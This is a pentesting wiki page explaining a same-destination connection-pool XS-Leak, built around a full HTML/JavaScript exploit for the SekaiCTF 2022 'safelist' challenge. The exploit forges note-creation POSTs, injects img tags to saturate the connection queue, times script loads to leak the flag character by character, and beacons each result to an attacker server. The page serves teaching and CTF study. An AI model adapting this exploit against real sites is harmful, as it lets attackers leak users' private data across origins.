connection-pool-by-destination-example.md (7177B)
1 --- 2 title: "Connection Pool by Destination Example" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/xs-search/connection-pool-by-destination-example.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xs-search/connection-pool-by-destination-example.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Connection Pool by Destination Example 14 15 In [**this exploit**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-safelist-html), [**@terjanq**](https://twitter.com/terjanq) proposes yet another solution for the challenge mentioned in the following page:<sup>[[2]](#references)</sup><sup>[[3]](#references)</sup> 16 17 [Connection Pool Example](/hacktricks/pentesting-web/xs-search/connection-pool-example) 18 19 Let's see how this exploit works: 20 21 - The attacker injects a note with as many **`<img`** tags **loading** **`/js/purify.js`** as possible (more than 6 requests to saturate that destination queue). 22 - Then, the attacker **removes** the **note** with index 1. 23 - Finally, the attacker sends a **timed request** to **`victim.com/js/purify.js`**. 24 - If the timed request is **slower**, the **injected note** was the one left and its **`<img>`** tags are still competing for the same destination. 25 - If the timed request is **faster**, the **flag note** was left instead. 26 27 > [!NOTE] 28 > The exploit does not need an extra explicit navigation step because the **form submissions already open target-origin responses in auxiliary windows** (`target="xxx"` and `target="_blank"`). If the surviving note is the injected one, those responses render the note and the browser starts fetching the embedded **`/js/purify.js?...`** images, which is exactly what the final timed `<script>` request races against. 29 30 ## Why this variant is useful 31 32 This is **not** the classic "block 255 global sockets and measure the 256th" trick.<sup>[[1]](#references)</sup> The oracle here is much narrower: the attacker only cares about the **per-destination contention** for requests going to the **same origin/resource bucket**. 33 34 That makes this variant useful in scenarios where the attacker can get **HTML rendered inside the victim origin** (for example via HTML injection plus CSRF), because: 35 36 - browser mitigations against the old **global** connection-pool oracle do **not automatically kill** a same-destination queue inside the victim context, 37 - the attacker can make the victim page itself generate the competing requests, and 38 - the probe can be reduced to a **single timed request** to the exact resource the injected markup is loading. 39 40 ## Practical notes 41 42 - The **random query string** in `purify.js?${Math.random()}` is important to avoid hitting a warm cache and accidentally removing the timing signal. 43 - In practice, you want the **probe** and the **victim-generated requests** to share the same network bucket as much as possible: same **scheme**, **host**, **port**, and usually the same request destination. 44 - The exploit uses a dynamically created **`<script>`** element as the timer. This is a practical detail: other request primitives such as **`fetch()`** may not always contend in exactly the same way as parser-driven subresource loads, so when reproducing this technique it is worth testing several request types. 45 - Modern browsers have made the **global** connection-pool attack less reliable via partitioning and related mitigations, but this **same-destination** variant can still matter when attacker-controlled markup is rendered by the target site and both flows stay inside the same partition. 46 47 ```html 48 <html> 49 <head> 50 <script> 51 const SITE_URL = "https://safelist.ctf.sekai.team/" 52 const PING_URL = "https://myserver" 53 function timeScript() { 54 return new Promise((resolve) => { 55 var x = document.createElement("script") 56 x.src = 57 "https://safelist.ctf.sekai.team/js/purify.js?" + Math.random() 58 var start = Date.now() 59 x.onerror = () => { 60 console.log(`Time: ${Date.now() - start}`) //Time request 61 resolve(Date.now() - start) 62 x.remove() 63 } 64 document.body.appendChild(x) 65 }) 66 } 67 68 add_note = async (note) => { 69 let x = document.createElement("form") 70 x.action = SITE_URL + "create" 71 x.method = "POST" 72 x.target = "xxx" 73 74 let i = document.createElement("input") 75 i.type = "text" 76 i.name = "text" 77 i.value = note 78 x.appendChild(i) 79 document.body.appendChild(x) 80 x.submit() 81 } 82 83 remove_note = async (note_id) => { 84 let x = document.createElement("form") 85 x.action = SITE_URL + "remove" 86 x.method = "POST" 87 x.target = "_blank" 88 89 let i = document.createElement("input") 90 i.type = "text" 91 i.name = "index" 92 i.value = note_id 93 x.appendChild(i) 94 document.body.appendChild(x) 95 x.submit() 96 } 97 98 const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms)) 99 // }zyxwvutsrqponmlkjihgfedcba_ 100 const alphabet = "zyxwvutsrqponmlkjihgfedcba_" 101 var prefix = "SEKAI{xsleakyay" 102 const TIMEOUT = 500 103 async function checkLetter(letter) { 104 // Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js 105 // Depending whether we found flag's letter it will either load the images or not. 106 // With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char. 107 const payload = 108 `${prefix}${letter}` + 109 Array.from(Array(78)) 110 .map((e, i) => `<img/src=/js/purify.js?${i}>`) 111 .join("") 112 await add_note(payload) 113 await sleep(TIMEOUT) 114 await timeScript() 115 await remove_note(1) //Now, only the note with the flag or with the injection exists 116 await sleep(TIMEOUT) 117 const time = await timeScript() //Find out how much a request to the same origin takes 118 navigator.sendBeacon(PING_URL, [letter, time]) 119 if (time > 100) { 120 return 1 121 } 122 return 0 123 } 124 window.onload = async () => { 125 navigator.sendBeacon(PING_URL, "start") 126 // Does not work because we remove the flag after success. 127 // while(1){ 128 for (const letter of alphabet) { 129 if (await checkLetter(letter)) { 130 prefix += letter 131 navigator.sendBeacon(PING_URL, prefix) 132 break 133 } 134 } 135 // } 136 } 137 </script> 138 </head> 139 <body></body> 140 </html> 141 ``` 142 143 ## References 144 145 - [1] [XS-Leaks Wiki - Connection Pool](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/) 146 - [2] [terjanq - safelist.html gist (SekaiCTF 2022 challenge exploit)](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-safelist-html) 147 - [3] [Huli - SekaiCTF 2022 - safelist writeup](https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/)